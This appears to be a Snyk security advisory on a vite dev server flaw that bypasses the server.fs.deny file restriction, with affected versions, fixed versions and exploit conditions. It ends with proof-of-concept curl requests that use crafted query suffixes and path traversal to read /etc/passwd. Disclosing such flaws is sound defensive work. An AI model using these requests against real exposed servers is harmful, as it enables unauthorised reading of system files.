Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Incorrect Authorization vulnerabilities in an interactive lesson.
Start learningUpgrade vite
to version 4.5.12, 5.4.17, 6.0.14, 6.1.4, 6.2.5 or higher.
vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Incorrect Authorization via the bypass of the server.fs.deny
restriction. An attacker can access restricted files by appending ?.svg
with ?.wasm?init
or with sec-fetch-dest: script
header to the requests.
Note:
This is only exploitable if the file is smaller than the build.assetsInlineLimit
(default: 4kB), when using Vite 6.0+ and when the Vite dev server is explicitly exposed to the network (using --host
or server.host config option.
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'